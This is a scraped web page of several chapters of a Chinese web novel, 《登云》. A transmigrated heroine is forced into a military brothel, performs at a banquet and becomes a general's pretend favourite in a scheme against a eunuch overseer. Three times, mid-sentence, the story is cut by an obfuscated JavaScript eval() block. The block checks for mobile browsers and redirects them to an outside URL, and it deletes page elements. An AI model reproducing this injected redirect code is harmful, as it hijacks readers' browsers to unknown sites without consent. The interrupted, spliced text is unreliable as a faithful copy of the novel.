《登云》 2. 宴台戏 但有人动作更快,只一瞬,屈邵就来到她身后,一手刀劈在她的后颈。 苏远澄眼前一黑,倒在屈邵的臂弯里。 醒来时,周身一片昏暗,只有桌上飘着一盏煤油灯,像无根的浮萍。 苏远澄摸了摸发间,很快触到硬物感,藏起的匕首还在。脖颈处一片酸痛,鼻间浓浓的脂粉味、窗外交错的曲乐声,让她很快意识到,自己被带到了什么地方。 心下叹息,还是没能逃过。 “哟,小美人醒啦。”声音传来,床头坐着一个约三十来岁的妇人,手里摇着一把红色青篦扇,毫不掩饰地打量着她的脸,像待价而沽的商品。 “你是谁?这又是哪?”苏远澄循声望去,故作慌乱。 “这是乐营,你未来的家~我姓李,这里的姑娘都唤我一声妈妈。”妇人的声音粘腻。 “这当乐妓吧,也没什么不好,只要伺候伺候几位大人,总比那些丑的、坏的、不乖的,拉到军营去,千人骑万人睡……”她拉成了语调,直勾勾地盯着苏远澄,想要找到害怕的情绪。 人在屋檐下,不得不低头,苏远澄自然装出一副深受打击的模样,身形晃了又晃。 李妈妈露出了然的神情,本以为越美性子越烈,还好这个似乎不经吓,又加了把火道:“你也知道,外面乱得很,杀了不少潜到城里的羌人细作,都是些来路不明的。” 明显意有所指,不出意料看到苏远澄愈发煞白的小脸。 李妈妈俯下身,在她耳边森森道:“我不管你是姜娆还是贾娆,记住了,在我这,你就叫牡丹。” 苏远澄柔顺地侧过脸,低声呜咽道:“我记……牡、牡丹记住了。” 李妈妈对她的识时务很满意,确实如兵士所说是个聪明人,聪明人都怕死。不过她深知打一棒子给颗甜枣的道理,柔声道:“记住就好。不过,你可知道,送你来的可是屈家军统帅屈邵?” 苏远澄的手不易察觉地颤抖。 却被李妈妈捕捉到,上前握住那双柔荑,触感温润细腻,好好调教后,必是极品。 李妈妈笑意渐深,安抚道:“别怕,屈将军保不齐是看上你了。你好好把握,伺候好了,荣华富贵不说,至少性命无忧了。” 苏远澄双眼一亮,又有些羞愧难当,垂下头喃喃:“牡丹知道了,妈妈。” 感到这一番敲打效果极佳,李妈妈满意地起身离开,摇着她的扇子,步态婀娜,嘴里还戏谑念着:“唯有牡丹真国色……” 行至门口,李妈妈忽然回头道:“对了,三日后监军大人设宴为屈将军接风,你可好生准备。” 苏远澄对上她的眼,而后避开,轻轻点了点头。 对视的一瞬间,李妈妈似乎感受到一股压迫感,一晃神,分明还是一张苍白脆弱的脸,想来是错觉吧。 遂关门离开。 门被锁上了,窗户也封着,屋外还守着两个壮实的丫鬟。 逃脱无门,苏远澄暗暗叹气。这些小管理者,最喜欢看人臣服恭敬的样子,厌恶反驳与主见,性子刚烈只会让自己受伤。况且,已入乐营,再争论身份已无意义,不如暂且低头,再细细筹谋罢。 她褪去外衣,瘫倒在床上,来到这个世界短短两天,就换了两张床,经历了一波算计与一波追逃,还有一次差点丢了命的躲藏。 苏远澄心头疲惫,攥紧匕首才让她有了一丝安全感。 她不会认输,也不该认输。 她经过枪林弹雨、历过官场诡谲,她的见识和眼界,不该没于此地。 姜娆、屈邵……我们来日方长。 害她的,她都会一一找回。 * 三日后。 边关的夜极尽冷清,摘星楼内却灯火如昼。 此楼为襄镇监军戴士诚掌军防之日修建,投入巨量人力兵力财力,半月建成,雕梁画栋,极尽奢靡,高可通天,故名摘星楼。 也是整个梓州最大最兴旺、且等级严明的酒楼。 摘星楼一楼招待平民商贾,二楼招待文人官宦,三楼为高级客房,四楼则暗设赌场妓院等消金窟,五楼是戴士诚的私有领地,非达官贵人受邀者不可入。 今日之筵席,正设在城中之景尽收眼底的五楼。 除屈邵外,受邀者皆为襄镇将领,分作两派,一派以正七品校尉马常清为首,一派以监军戴士诚为首。 马常清虽为军中主将,统率各将领,戴士诚却背靠梓州监军李承恩,力压马常清一头,因而有不少人投入其麾下。 其义父李承恩此人,乃陛下心腹,可上达天听,牢牢将梓州军权握在手里。但李承恩乞儿出身,丝毫不通军事,交战之中连送了羌族三座城镇,也致使梓州主将被换了三波,他本人倒是摘了干净,无责无罚。 屈邵此番,正是替梓州主将一职而来。 一为夺回失地,二为削弱宦权,三为海晏河清。 在场的武将不论派别,皆久闻且折服于屈家军威名。屈邵方一落座,不少人便慕名而来,讨好地说道:“早就听闻屈将军威名,今日一见,当真武曲下凡,英姿飒爽,好生威武。” 周围的将士亦争先称赞:“是极是极”、“屈将军河东一战成名”、“虎父无犬子”、“满门忠烈”。 要知道,屈家是整个大昭的兵马之首,虽如今能上战场的只剩屈邵一人,但十万屈家军仍不可小觑。 因而,众将士攀谈的攀谈,敬酒的敬酒,极尽恭维,屈邵也不推脱,如饮水般一杯杯下肚,更令在场众人惊叹赞服。 唯有校尉马常清一人端坐席中,冷眼旁观,不作一言,只独自饮酒。 宴时已到,设宴的戴士诚却迟迟未至,有武将在觥筹交错间已是半醉,更有甚者,拉着奏乐的伶伎作陪,高谈阔论,言语荤素不忌。 壮硕武将就是其一,一边饮酒,一边对怀里的女人上下其手,听着女人奉承撒娇,笑得脸上迸出一道道肥胖褶子,嘴上也没个把关的:“说到美人,乐营来了个神仙一般的,不知我等何时能……” “就你,你、你什么来头,最、最美的,当然要留给戴监军享用了。”旁边的将领似乎醉得话都说不稳了。 “嘁,姓戴的一阉人,他享用得了吗哈哈哈哈!”不知是酒劲上头还是美色诱人,壮硕武将将心里话大声道出。 谁知话音刚落,戴士诚的身影就出现在门口。 胖武将被身旁人连连示意,不耐烦地转头。 “嘭”的一声酒杯落地,胖武将登时跪倒在地,爬出坐席,惶惶地看着戴士诚逼近的身影。 那是一张清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299186|182731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀白皙的脸,狭长的眼,殷红的唇,似笑非笑,喜恶难分,雌雄莫辨。 似是被吓醒了酒,胖武将连连磕头,扇着自己的嘴求饶,磕破的额头混着红肿的脸,分外滑稽,又可怜。 戴士诚笑着将人扶起,拿出帕子重重擦了擦他脸上的血,随即嫌弃似的丢到一旁,挥了挥手。 他身旁的甲兵就将胖武将拖了出去,在其连声求饶中一刀割喉,大片血迹甚至流到了门口歌姬的裙边,吓得歌姬花容失色,连连后退。 喧嚣的宴席到鸦雀无声只在一刀之内。 陈戈皱着眉看向主子:朝廷命官,说杀就杀了? 屈邵淡然地回了一个眼神:不过是杀给我看的罢。 李承恩是戴士诚干爹,他这波杀鸡儆猴出自谁的授意并不难猜。 戴士诚并没有回头,摆手示意歌姬继续奏乐,绽开笑容,朝屈邵大步走去:“屈将军,是某来迟,实在该罚该罚。” “无碍。”屈邵脸色未变。死人,战场上多了,也就这些手无缚鸡之力的宦贼,会认为,杀人,方能彰显自己的权柄。 “哪能无碍,让诸位将军久等,某当自罚三杯才是。” 戴士诚施施然落座,与屈邵平席而坐。 照律,屈邵正四品品级,远在监军之上,应是首席,这戴士诚远没有让他等着且与他平席的资格。 好一个畸形的监军制,屈邵心中冷笑。 戴士诚正要举杯,底下的将领纷纷劝阻,趁机表忠心:“不可不可,大人赏光能让我等上摘星楼已是大幸,哪有让大人自罚的道理?” 屈邵不言,只漠然地旁观这一场为他做的大戏。 * 宴会的戏在唱,后台的戏也没有停歇。 这三日除日夜操练外,苏远澄亦靠着人畜无害的面具,大体摸清了乐营的构造。 李妈妈是乐营老鸨,领头羊则是扬州妓院应征送上的姑娘——织柳,自小浸淫风月,千娇百媚。 织柳自诩来自繁华街巷,在整个大昭都是叫得上名的风尘之地。因而自视甚高,意欲攀附大官,一跃升天,早早将目光放到了威名远扬的名将屈邵身上。 只天降好女,面若花月,织柳视她为心头患,多次使绊,却都被躲了过去。 往她舞鞋里放的玻璃渣最后出现在自己的被里,弄断她的琵琶却让她一手古琴艳压,指使人推她下水谁想推到了李妈妈…… 织柳想不通,为什么她那么天真愚笨,那么弱不禁风,却那么命好? 织柳并不甘心。 明明飞上枝头的机会离自己这么近。 可想到被送去军营不知生死的姐妹,她只能压下作妖的心。 苏远澄慢腾腾地上着妆,她的节目在群舞之后,只要这期间找一个离开的理由,李妈妈就不易分不出人手跟着她,那就是她逃走的时机。 她可不想被当作商品,流连在男人的床上。 只为附于他人虚无缥缈的承诺而活。 但这个暂时离开的理由,一定不能是她主观的原因,否则李妈妈可能生疑。织柳,就是她这盘棋的阵眼。 只可惜她的阵眼似乎迟迟不出手呢。 苏远澄的指尖在胭脂上来回打转,耐心等待时机。 所幸,天不负她。 3. 关山月 宴会上唱曲的姑娘们轮换下来了,三三两两抱着琵琶,兴奋地咬着耳朵。 “说什么呢小浪蹄子,笑得跟捡钱似的。”织柳本就心烦,看着别人的笑容就觉刺眼,出言嘲讽道。 “织柳姐姐,”姑娘们被骂了也不甚在意,放下琵琶闹成一团,嬉笑道:“在聊屈将军呢,你们可不知,这屈将军有多俊,简直是玉树临风。” 姑娘压低声音:“还有那宽广的身形、那修长的手指,啧啧啧,感觉能死在他床上。” “你是哪个,人家能看得上你。”跳舞的姑娘笑骂,拉长加重了上字。 “容我想想也不成?”琵琶姑娘假意恼怒。 “成!你等夜深,被里想去!” 两姑娘斗嘴,引得哄堂大笑。 “要我说,咱这里,没人配得上屈将军那神仙人物。”一姑娘来自河东地域,对收复河东的屈邵推崇备至。 “谁说的,我看牡丹姐姐才是真真神女下凡。” 被点到名,苏远澄回头笑笑,可谓回眸一笑百媚生,带妆美人更是风情万种,几个小姑娘偷偷红了脸,河东姑娘也不自觉咽下想要反驳的话语。 织柳却只觉晃眼,浓烈的不甘燃烧心房。 “啪”的一声,她折断了角笔,也回过神来,握紧右拳,似是做了什么决定。 苏远澄浅笑:阵,成了。 不多时,织柳便扭着细腰,笑盈盈地走到苏远澄桌前,问她借胭脂。转身离开之际,装作脚下踉跄,扯住桌布,胭脂水粉倾泻而下,在苏远澄的白裙上开出大大小小各色繁杂的花。 苏远澄暗暗啧了一声:手段实在拙劣,但胜在效果不错。 她惊呼而起,右手连连拍着裙上的脏污,焦急道:“怎么回事?这可如何是好啊!” “我……是我没站稳,”织柳连声道歉,“我愿将舞服换给姐姐,只是尺寸怕是远不合适……” 织柳个小,不满五尺,远高她两个头的苏远澄自然穿不了。 屋里姑娘的目光早聚了过来。 李妈妈亦闻声而至。见此情景,直皱眉,向苏远澄投去怀疑的眼神:“这是怎么搞的?” “妈妈,是我不小心,只是我的独舞马上就要开始了……”织柳率先认错卖乖,她有退路,她的舞蹈可是得过戴大人夸奖的。 “妈妈……”苏远澄开口欲控诉。 “好啦好啦,”李妈妈也是头疼,指着苏远澄道:“今日你且歇着吧。” 苏远澄瞪大双目,满是不甘,却不知如何辩解,颓在椅上,眼角一滴泪缓缓垂落。 活脱脱的笨蛋美人。 片刻,她想起什么似的抬头,忙慌对李妈妈求道:“妈妈,我在车马里还备了一套衣裙,能否允我去取?” 看她对此次机会如此看重,李妈妈深感欣慰,却还是有些戒备:“让红丫去吧。” “可是,我怕……”苏远澄欲言又止,暗自垂泪。 李妈妈自然也懂这些姑娘间的争斗与龌龊,只是向来放任自流。 可如今涉及监军的美人计,想到牡丹惊艳众人的琴技、屈邵送人来时的暧昧不清,犹豫片刻,挥手同意:“那你们同去吧。” 苏远澄心中大喜,屈身行礼谢过妈妈,而后蒙上面纱,急急往外走去。 一旁的织柳大惊,又不得不挂上假意的笑,双手几欲绞碎光洁的帕子。 且说环廊内的苏远澄,已在脑海里演练了数次打晕红丫、换上缝有偷来银票的常服、混入谈好的商队离开的场景,自觉万无一失,脚步愈发欢快。 可快乐的时光总是短暂的。 “哪儿去,小女贼?”又是那道低沉的声线。 苏远澄生生抑制住自己想拔腿就跑的欲望,僵硬转身,不出所料看见倚着柱子的屈邵。 眼神锐利,似要透过面纱将她拆吞入腹。 红丫哪见过大官,瞬间跪倒在地,不敢直视。 “见过屈大人,”苏远澄稳了稳神情,屈膝行礼,不经意展示污渍狼藉的裙子,“禀大人,衣裙脏了,下去取备用的来换。” 屈邵今日一身黑衣,领口与袖口缀有暗金的纹饰,散漫闲适的身姿,斜倚在廊柱边,颇具少年贵气,不似久征沙场的将军,倒像养尊处优的王公贵胄。 他直起身,慢步走到苏远澄面前,将将踩到她白纱裙摆时停下:“让她去取,你留下。” “这……恐怕不方便。”苏远澄细眉微蹙,难为道。 “哪里不方便?”屈邵身体前倾,远远看去,像是将苏远澄整个笼罩在身下。 “还是我自己去找快些,毕竟宴席耽搁不得。”苏远澄没有察觉二人过近的距离,只绞尽脑汁地编着理由。 “我说,耽搁得,又如何?”屈邵像是逗弄猎物般,步步紧逼:“她去,或者,我去。” 偏着头,等苏远澄做选择。 谁去都不行,苏远澄绝望地闭上眼,她哪带了衣裙,车里只有一身为逃跑准备的、烧火妇人的常服罢了。 见跑不成了,苏远澄迅速认错:“实不相瞒,屈大人,我并未带多余的衣裙,只是实在太害怕妈妈责罚,出来寻寻法子罢。” 说罢,低头露出脆弱的脖颈,并用帕子抹了抹并不存在的泪。 “那恭喜你,寻到了。”屈邵盯着苏远澄纤细白皙的脖子,那有块不小心蹭上粉色胭脂。 想着的同时,他已不自觉伸出手抹去,对上苏远澄瞪大的眼,忙后撤一小步。 屈邵假装咳嗽一声,对身后唤道:“陈戈,嗯……去给她找套盔甲换上罢。” 还没从被揩油的震惊中反应过来,这句话又将她钉在了原地。 苏远澄不解,苏远澄震惊,苏远澄石化。 * 见苏、红二人迟迟未归,李妈妈在房门口左右张望,一颗心好似漂浮半空,无法落地。姑娘们又都去了群舞,一时间竟也抽不出人手去寻。 就在她终于坐不住,起身决定自己去寻时,三个身影踏进房来。 领头的自是屈邵,陈戈则守在门边,身后一个盔甲小兵慢腾腾地挪进屋。 不对,李妈妈定睛一看,这哪是小兵,分明是她的头牌牡丹呀!李妈妈不明缘由,顿感万念俱灰,心倒是落了下来,只是落进了万丈深渊。 小兵苏远澄艰难抬头,向李妈妈投去求助的眼神。 李妈妈只得硬着头皮上前,讪笑道:“将军大驾,实在有失远迎、有失远迎!只是这又是在演哪出呀?” 屈邵冷冷地一个眼神过去,李妈妈哪被这等杀神扫过,当即后背发麻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299187|182731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头不敢出一语。 趁着屈邵回到宴席,她忙帮苏远澄理了理厚重的盔甲,但过大的军甲还是将婀娜有致的身姿遮得严严实实,只露出一双含着秋水的眼。 没办法了,就这样上吧。李妈妈心如死灰,放弃挣扎,在群舞落幕后,闭眼让苏远澄上台。 反正也是要送给屈将军的,他爱怎么玩怎么玩吧,反正从业多年,她见过的特殊嗜好还少吗? 军甲和古琴一同出场,瞬间吸引了全场目光,却多是不解或震惊。 苏远澄屏蔽掉众人异样的神色,抬起重重的双臂,暗骂不做人的屈邵。 旋即深吸一口气,三两拨弦,一曲《玉庭花》自葱白纤指流泻而出,似絮絮低语,道尽情事,只一瞬,就将众人带到宫廷乐宴的靡靡之地,沉醉于娇媚情人的温言婉语。 在场之人无不想拍手叫好,只是目光触及到她身上滑稽的装束,又觉尴尬,只得讪笑。 苏远澄自然有所察觉,头盔下眨了眨眼,勾唇:要的就是这个效果。 右手倏尔一抹,曲风渐变,美人的声音逐渐失落低沉,伴随战火纷起,众人仿若置身于狼烟断壁之中,战鼓响,尸身凉,歌者再也寻不到她的情郎。 此时,身上的盔甲并没有干扰到她的演奏,反而恰到好处勾起众人血战沙场的记忆。 一曲《玉庭花》接《关山月》,诉尽战争残酷致使情人两隔家国不再,先扬后抑。曲终,众将领仍久久无法回神,敏感共情的乐妓则早已潸然泪下。 “啪啪啪。”掌声从上座传来,是屈邵。 “好,好曲!赏!”戴士诚也回过神来,这一手,虽技巧不比他曾听过的宫廷乐师,但胜在曲风的巧思和沉浸的情感。 众人也纷纷回神,连声夸赞。在座虽大都是老粗武人、不懂音律,但这与亲身经历息息相关的乐曲,还是走进了大部分人的心,他们很多人也是第一次,用不带色欲的眼神去看一个乐妓。 “此乐甚好,甚得我心,此乐妓亦是妙人,不知监军可愿割爱?”屈邵缓缓开口,遥遥向戴士诚举起酒杯。 “哈哈哈,将军开口,有何不可?”戴士诚本就苦于他如铜墙铁壁般,难以安插细作,如今他主动要人,自是有求必应。 此时,苏远澄还未完全从乐曲情绪中脱离,听着自己被送给屈邵,也疲于应对,只得浑浑噩噩起身行礼,随丫鬟一同下台去了。 后台房间。 看着苏远澄卸下厚重盔甲,李妈妈一脸一言难尽,对于她临时换曲,不知该骂还是夸。只能在心中叹息:灵机应变,不矜不傲,此女怕是非池中之物。 虽只带了她三天,李妈妈还是决定叮嘱一番,悠悠开口:“如今你攀上屈将军,只要安分着,算是衣食无忧了。” “只是别忘了,是谁给了你这个青云梯。” 她附在苏远澄耳旁低声道:“好好替督军大人办事,否则你怎么去的,就能让你怎么回来。” 苏远澄深深地看了李妈妈一眼,群狼环伺,她没有实力得罪任何人。 遂垂头应是。 李妈妈疲惫地挥手,如果可以,她倒是希望这些姑娘都能有好去处,只是生在这乱世、到了这地方,她们就不再是人,而是一颗颗棋子罢了。 她又何尝不是呢? 4. 同乡人 摘星楼外。 屈邵懒懒地倚在马车内,手中翻看暗探送来的前线战报。李承恩令众将死守城池不出,只等他走马上任,接过烂摊子。 不禁嗤笑,又想退羌人,又不想放兵权,真是又蠢又贪呀。 屈邵将战报递给陈戈,指尖撑着太阳穴,淡淡道:“去查查小女贼。” “好嘞,主子。”陈戈取出火折子,特质的信纸一烧即燃,明明灭灭的火光跃动在屈邵的侧脸上。 苏远澄掀开车帘时,看到的正是这似画般的一幕。 都说红颜祸水,她看这蓝颜也毫不逊色。 但也只敢在心里腹诽,人乖乖坐到角落。 见她进来,陈戈识趣出去驾车,将空间留给二人。 屈邵瞥她一眼,从侧壁的多宝格里取出一包蜜饯,命令道:“坐那么远作甚?过来。” 苏远澄顺从地应了一声,往前微不可见地挪了挪。 屈邵气笑,直言道:“我素来爱洁,不会碰一个妓子的。” 饶是苏远澄素来定力好,此时也恼得咬碎了半颗牙。她向来信奉,女子的贞洁,从不在罗裙之下。听到那样羞辱人的话,难免怒火中烧。 就算她从不认为自己是一个妓子,也不会去贬低任何一个谋生存的妓子。 眼前人怒目圆睁,娇美的脸庞再次生动起来,不再是一张左右逢源的面具,屈邵不免有些失笑。 他也的确笑了出来,只是那笑声在苏远澄听来更像是阎王索命般可怖。 笑完,屈邵正色道:“我要你,不过是要你演一场宠姬的戏。” 苏远澄侧头看他,颇为诧异。戏?什么戏? 屈邵却是卖了个关子,将蜜饯丢给她:“一晚未曾进食,先垫垫肚子。” 苏远澄狐疑地接过蜜饯,取了几颗果仁饱饱腹,但越吃越饿,又每样都垫了垫。 屈邵就静静地望着她,不知在想些什么。 苏远澄性急,将将果腹,就启唇发问:“大人方才所说,是何意?” 屈邵接过她手里剩的蜜饯,丢回身侧的格子里,慢条斯理道:“你是个聪明人,我需要你做一出我与你主子背地交好的戏。” 她主子,莫不是戴士诚?背地交好,就意味着表面交恶?做戏,又是做给谁看? 苏远澄似乎不太明白他的话,但屈邵也不言明,随意道:“我要戴士诚死。作为回报,你会拿回你的身契。” “小女贼。” 明白他早已看出自己假意屈从的伪装,且有一条更轻松的自由路能走,苏远澄当即不再掩饰,锐利回问:“我如何能信你?若是你败了呢?” “哈哈哈哈,”屈邵大笑道:“若我败了,那你也活不了。端看你如何选了,小女贼。” 苏远澄直觉这其中有一盘大棋,她从不在没把握的情况下赌命,因而有些纠结。 襄镇太小,两人这一来一回便回到了屈邵暂住的酒楼,也是两人第一次遇见的地方。 “你且慢慢想。”屈邵跳下马车,吩咐道:“陈戈,将梓州战况写与她一份。” “下来吧,小女贼。”屈邵想起女人层层叠叠的衣裙,礼貌转身,抬手欲接人下车。 既已决定不再伪装,苏远澄自然不愿故作娇滴滴的姿态,她掀起裙摆抱在怀中,手扶车壁,轻盈一跃,稳当当落地。 奔放的动作惹得陈戈和随行兵士迅速垂首敛目,转身退开半步。 见此情景,屈邵不禁笑骂:“果真是,不知羞。” 不等苏远澄回嘴,他便转身大步离开,远远丢下一句:“明日带你添置些衣物,且养精蓄锐罢。” 夜色已至,明月高悬。 热水沐浴过后,又吃下一碗酒楼后厨现做的鸡汤小面,苏远澄瘫倒在柔软的被褥上,油然而生的幸福感让她整个人都松懈下来。 不论前路如何,起码暂时衣食无忧,也不会被锁在深闺后院,甚至还可能拿回卖身契,假以时日再自立女户,参加科举,大展拳脚…… 苏远澄开心地畅想着,忍不住将脸埋进被褥,虽然被抓成营妓,但好歹有了正常的身份,虽然被送给屈邵,但似乎有了脱离的希望。 心间的阴霾一扫而空,但身体的疲惫却层层涌了上来。 就这样抱着被子入睡了。 不去管什么战报,什么做戏,什么宠姬。 睡饱了再说。 * 醒来天已是大亮。 甫一出门,远远守在门外的甲兵就给她递来一份信函,说是陈副将吩咐送来的。至于被问到屈邵或陈戈去了何处,甲兵只道不知。 苏远澄也不为难,接过信函道谢,去楼下点了一大桌佳肴,账嘛,自然是记在屈将军名下。 边吃着,边打开了信函,里面是梓州战事简报,墨很新,应该是清早刚写出来的。 苏远澄嘴里吃着刚蒸出炉的狮子头,手里不紧不慢地翻着战事简报。 她一向喜欢边吃饭边看公文,虽然被家里的父母教育过多次,还是改不了吃东西要看点什么的习惯。 信里,陈戈只简要写了梓州两月之内连丢三城,哪哪将领被降责甚至褫职,梓州监军使李承恩上谏后更是连换三名主将,加派多名监军,掌宕城、永安军、襄镇三大重地,梓州军事势力尽落其手。 而今羌人围宕,李承恩主和,且军无主帅,宕城便死守不出。羌人遂四处祸乱,周围城池只得小规模出兵,却连连失利。朝廷特命屈邵为梓州主将,保宕州,统全军。 苏远澄并不精晓军事,但不难看出,战场指挥最忌分权,屈邵想解宕城之围,必得拿下前线军权,这最大的绊脚石就是主和的监军李承恩。 而要瓦解李承恩的军权,必从其麾下监军入手。其中宕城监军新至,且军民苦羌良久,为出战夺权轻而易举,而永安军远离前线,暂不足为虑,就只剩辎重粮草的储备重地——襄镇。 襄镇监军戴士诚恰是李承恩心腹,且掌襄镇已久,夺权最快的方法就是杀之。 若陈戈在此,必会惊讶于苏远澄的敏锐,她的想法几乎与屈邵同他说的一模一样。 只是苏远澄不明白,为何屈邵要做出与戴士诚交好的假象呢?还得是背地交好表面不和。 想不明白便不想了,同屈邵合作可能会将来死,但不合作立马就死,她可不信屈邵那种狠人会让一个探子活在身边。 优雅地啃完猪肘,苏远澄擦擦手,唤了小二进来。 “是你呀!”苏远澄一眼认出这是给她指路的小二哥。 没想到还能碰上美人,更没想到美人竟然还记得他,小二哥双眼发亮。 “是是是我,您您您又跑出来啦?” 小二激动得结巴,恨不得扇自己一巴掌,怎么总在美人面前出丑。 “扑哧,”苏远澄被小二又喜又惶的语气逗笑,“没有,我现在跟着屈大人。” 美人一笑,小二哥的心都要化了,他不敢再看下去,忙低下头盯着脚面:“您有什么吩咐吗?” “我想买些话本,嗯……最好是妇人爱看的,”苏远澄暗示道:“再随便多买些读书人看的,混一起罢。” “我办事,您您您放心!包您爱看!”小二秒懂,香艳的话本他可帮着买过不少,买些正经书打掩护他也是懂的。 “那多谢你了,”苏远澄抿唇笑:“书钱跟饭钱记一起吧,多记些,就当你的跑腿费。” “好嘞,谢您赏,我马上去办!”小二马不停蹄地跑出门。 不多时,一箱藏在典籍下的话本就送到了苏远澄房间。 她兴奋地翻了翻,四书五经、历史军事,甚至天文地理都有,对小二哥的满意更上一层。 随手从箱子下翻出几册话本,放在枕边。而后细细过了一遍箱内典籍,从中选出一本当朝杂学汇编,这更像本科普类的书,纷纷杂杂地讲了律法典范、官阶制度、本朝事记、各地风情等等,极适合对这个世界一知半解的她。 郑重地读完半本,已近黄昏,苏远澄扭了扭微微发酸的后脖,忽然忆起屈邵似乎说今天要带她出门,可却一天不见人影。 另外,昨天的合作,她也未告知屈邵她的决定呢。 也罢,先填饱肚子要紧,中午的蹄膀实在是可口多汁。 苏远澄松快松快半僵的身子,将典籍还原成未翻阅的模样,开门下楼。 两名甲兵仍守在楼梯口,苏远澄好奇地凑上去发问:“你们为何一直守在此处?不用跟着你们将军吗?” 不等甲兵回答,陈戈的声音就从楼梯转角飘然而至:“为了防贼……四天前有贼偷闯主子的房间后,就派人守着了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299188|182731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏远澄微笑,她怀疑陈戈在内涵她,并且有证据,但没有办法。 “走吧,主子在外面等你。” 被陈戈领到昨日的马车前,一进去,苏远澄就闻到一股浓重的檀香。 车内,屈邵半倚在榻上,随意地翻着一簿账册,身侧的一串佛珠正是檀香来源。 “屈大人,”苏远澄象征□□了福身,又缩到了昨天的角落里。 屈邵闻言抬眼,小女贼今日未施粉黛,只薄薄地上了一点唇红,衬得肌肤愈发白皙,明媚灵动、柔韧如蒲,像是回到了他第一次见她的样子。 但屈邵还是更喜欢她眼角带泪的脆弱模样。 “大人,”苏远澄慢腾腾开口道:“我想好了,我愿意与大人合作,希望事成之后,大人守诺能放我自由。” 以屈邵的骄傲,应是不屑于对一个妓子撒谎的,但如果事后他要灭口,就当是她看错了人的代价罢。 似是早已料到苏远澄会答应,屈邵并无反应。不过,合作?她勉强算得上替他办事罢,哪配与他谈合作。 “只是这做戏,是做给李承恩看的?还是说另有其人?”苏远澄一边说着自己的猜测,一边观察着屈邵的反应。 屈邵但笑不语。 观其神情,她明白了大半,这是一出离间计,引李承恩杀戴士诚,唇亡齿寒,其他监军必不会再那么效忠于他,也就有了可操作的空间。 “你比陈戈聪明。”屈邵拉开多宝格,将账簿丢入其中,取出一包枣糕,丢给苏远澄:“给你的奖励。” 苏远澄对他这喂狗般的姿态很不满,但毕竟寄人篱下,且这枣糕她爱吃,便忍忍罢。 就是不知道陈戈怎忍得了,古人谋生着实不易啊。 * 马车稳稳地停下,屈邵咳嗽一声,一把抱起苏远澄,掀开帘子下车。 苏远澄低低惊呼一声后,意识到戏已开始,便柔柔地揽住屈邵的脖子,还将头轻轻地倚在他肩上。 屈邵低头看她,眼神晦暗不明。随即抱着人进店,陈戈则带两个甲兵随行,其余人在店门前一字排开,阵仗极大,引来了不少张头探脑的百姓。 就这样一路抱上二楼,屈邵稳稳将苏远澄放在椅子上,自己在旁落座。 牙行掌柜收到消息急忙赶来:“小人拜见将军,不知将军、夫人大驾,可是来挑些伺候的丫鬟?” 牙行掌柜很会察言观色,看出苏远澄举止妖娆,且未带随侍,也许并非什么正牌夫人,但一定极为受宠。 苏远澄闻言瞧了掌柜一眼,也不答话,只剥了颗葡萄,塞进屈邵嘴里。 唇触及温热的指尖,虽然只一瞬,屈邵的心还是开始阵阵发痒,假装咳嗽了两声,却又引来苏远澄两汪关心的目光。 屈邵一时有些晃神,又很快反应过来,心里不住冷笑,她可真是会演,这勾人媚态,不知是谁教的呵。 陈戈冷冷开口道:“我们主子来给牡丹姑娘挑几个丫鬟,要机灵点,钱不是问题。” “是是是,我们这的丫头绝对机灵,您一百个放心。”掌柜吩咐了小厮几句,随后拍拍手,十五个穿戴整齐、年龄各异的小丫头排队上前。 “给各位老爷大人行礼了。”一排丫头齐齐福身,声音也是整齐划一。 苏远澄有些看不过来,只能装模做样地点了几个丫头:“上前来让我和将军看看。” 几个丫头稳步走出,轮流做着自我介绍。 苏远澄百无聊赖地听着,随手给自己剥了个葡萄。 突然一只茶杯飘了过来。 原是身边不知何时出现的小丫头,十来岁的模样,穿着薄薄宽大的单衣,半蹲在地,高举双手奉着茶,露出一双光洁的手臂,细声道:“姑娘用茶。” 苏远澄正好有些渴了,接过茶,小丫头恭敬地放下手,转身退去。 “等等,”苏远澄似是注意到了什么,急忙起身,喊住了人:“把你右边的袖子掀起来我看看。” 闻言,屈邵望向苏远澄,目光满是疑惑和探寻。 小丫头似乎有些不知所措,但还是乖乖照做。 灯光下,明显可见她的上臂外侧,有一小块下凹的椭圆形印记,像极了每个现代人都有的接种疫苗留下的疤痕。 苏远澄的心不住地跳动起来。 5. 营妓宠 苏远澄抬头,目光直直地盯着小丫头,捕捉到她脸上一丝秘密被窥破般的慌乱。 但不应欣喜吗?毕竟知道疫苗疤痕的肯定是现代人呀,难道是没有想到吗? 苏远澄并不能完全确定,眼前的小丫头是否同她一样是穿过来的。 